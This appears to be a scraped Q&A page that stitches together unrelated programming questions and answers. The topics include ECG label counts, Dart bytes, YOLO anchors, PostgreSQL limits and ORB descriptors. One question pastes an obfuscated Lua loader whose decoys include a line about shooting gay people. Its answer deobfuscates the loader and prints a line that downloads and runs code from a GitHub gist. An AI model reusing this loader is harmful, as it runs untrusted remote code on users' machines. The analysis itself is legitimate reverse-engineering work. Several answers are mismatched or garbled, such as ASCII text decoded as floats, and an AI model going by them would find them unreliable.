Counting number of label in MIT-BIH arrhythmia Database (MIT-BIH) - machine-learning

According to this paper https://www.researchgate.net/publication/293174514_Deep_Learning_Approach_for_Active_Classification_of_Electrocardiogram_Signals
the number of beats of types N,S,F,V is as follow
For the training test for MIT-BIH (DS1), they use these records {101, 106, 108, 109, 112, 114, 115, 116, 118, 119, 122, 124, 201, 203, 205,
207, 208, 209, 215, 220, 223, 230}.
However, when I check using https://physionet.org/cgi-bin/atm/ATM and choose Describe record in the toolbox, the number are not matching. Only record number 208 have 2 S label (while it's total 973 in DS1 according to the paper). Also the total number of N label is not matching (40589 instead of 45777). While F and V labels are ok.
Here's the meaning for the label: https://physionet.org/physiobank/annotations.shtml
I need only N,S,F,V beats.
Can anyone tell me what's the problem or where I went wrong?


Found in a PDF. This is the way the 15 Labels are combined into N V S F and Q.

Related

How to decrypt a LuaT script

How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.

Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua

How to convert a byte array to a double (float value) in Dart

Based on this question, I have a list of bytes in Dart:
final data = [123, 34, 106, 115, 111, 110, 114, 112, 99, 34, 58, 34, 50, 46, 48, 34, 44, 34, 109, 101, 116, 104, 111, 100, 34, 58, 34, 115];
It represents a Float32 value from TensorFlow Lite. How do convert that to a readable double value?

Your data contains 28 bytes, and since it represents 32-bit float values (each of which are 4 bytes), that's equivalent to seven 32-bit values.
final data = [
123, 34, 106, 115, // 1
111, 110, 114, 112, // 2
99, 34, 58, 34, // 3
50, 46, 48, 34, // 4
44, 34, 109, 101, // 5
116, 104, 111, 100, // 6
34, 58, 34, 115, // 7
];
The ByteData class from the dart:typed_data library gives you different views on byte data. What you want is the Float32 view, which will give you a double in Dart.
final bytes = Uint8List.fromList(data);
final byteData = ByteData.sublistView(bytes);
double value = byteData.getFloat32(0);
print(value); // 8.433111377393183e+35
The 0 in getFloat32(0) means that you want to get the 32-bit float value starting at index 0 in the byte array. That only gives you the first value of the seven, though, so if you want the rest you need to loop though the entire byte list:
for (var i = 0; i < data.length; i += 4) {
print(byteData.getFloat32(i));
}
On every loop you increase the index by 4 to get the beginning of the next 32-bit float value. Run that loop and you'll see the results for all seven values:
8.433111377393183e+35
7.3795778785962275e+28
2.9925614505443553e+21
1.0139077133430874e-8
2.308231080230816e-12
7.366162972792583e+31
2.522593777484324e-18
See also
Working with bytes in Dart

darknet mask and anchor values for yolov4

In the README.md of darknet repo https://github.com/AlexeyAB/darknet we have this sentence about anchor boxes:
But you should change indexes of anchors masks= for each [yolo]-layer, so for YOLOv4 the 1st-[yolo]-layer has anchors smaller than 30x30, 2nd smaller than 60x60, 3rd remaining.
It looks like the default anchor boxes for yolov4-sam-mish.cfg are
12, 16, 19, 36, 40, 28, 36, 75, 76, 55, 72, 146, 142, 110, 192, 243, 459, 401
and the first yolo layer has config:
mask = 0,1,2
Do I understand correctly that this will use those anchors?
(12, 16), (19, 36), (40, 28)
If yes it seems to contradict with the statement or do I understand it incorrectly.
I'm asking because for my dataset and my image sizes (256, 96) I got those anchors from calc_anchors in darknet
15, 56, 22, 52, 28, 48, 23, 62, 26, 59, 39, 43, 31, 57, 29, 66, 37, 64
and trying to figure out how should I set the masks.

Looks good to me.
12, 16,
19, 36,
40, 28,
36, 75,
76, 55,
72, 146,
142, 110,
192, 243,
459, 401
You may leave the masks as are. She current config you show will yield higher MaP; supporting documentation here:
https://github.com/WongKinYiu/PartialResidualNetworks/issues/2

Can't query for more than 100 IDs with PostgreSQL

I'm migrating from MySQL to PostgreSQL, but I'm getting the following error:
PG::TooManyArguments: ERROR: cannot pass more than 100 arguments to a function
when running queries like this:
Project.where(id: ids)
Which is translated to
"SELECT \"projects\".* FROM \"projects\" WHERE \"projects\".\"id\" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100) ORDER BY FIELD(projects.id, '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100')"
For me it's a common use case to query by specific IDs and it worked pretty well with MySQL. Is there any way to make this work with PostgreSQL?
I'm using PostgreSQL 13.2 on a docker container.

According to the error you have, cause is the function not the query itself. you can pass 32K arguments to the query and it will work (2byte int limit). As for functions, postgres by default has 100 arg limit (set during compilation). you can try to compile from source and set that number to higher value (I dont recommend doing that, unless you really understand the consequences).
Best approach would be probably to look into how to replace FIELD() function that is executed and modify so that you don't run into the problem. Can you change your system so that you can use column in DB to sort by? That way you dont need to pass those IDs for sorting. Or, if you have to use IDs, what about using CASE for sorting, like in this SO question: Simulating MySQL's ORDER BY FIELD() in Postgresql

The only "fix" I could find was downgrading PostgreSQL docker image to 11.11 where this error does not happen.

Finding hamming distance between ORB feature descriptors

I am trying to write a function to match ORB features. I am not using default matchers (bfmatcher, flann matcher) because i just want match speific features in image with features in other image.
I saw ORS descriptor its a binary array.
My query is how to match 2 features i.e how to find hamming distance between 2 descriptors ?
ORB descriptors:
descriptor1 =[34, 200, 96, 158, 75, 208, 158, 230, 151, 85, 192, 131, 40, 142, 54, 64, 75, 251, 147, 195, 78, 11, 62, 245, 49, 32, 154, 59, 21, 28, 52, 222]
descriptor2 =[128, 129, 2, 129, 196, 2, 168, 101, 60, 35, 83, 18, 12, 10, 104, 73, 122, 13, 2, 176, 114, 188, 1, 198, 12, 0, 154, 68, 5, 8, 177, 128]
Thanks.

ORB descriptors are just 32 byte uchar Mat's.
the bruteforce and flann matchers do some more work, than just comparing descriptors, but if that's all you want for now, it would be a straight norm:
Mat descriptor1, descriptor2;
double dist = norm( descriptor1, descriptor2, NORM_HAMMING);
// NORM_HAMMING2 or even NORM_L1 would make sense, too.
// dist is a double, but ofc. you'd only get integer values in this case.

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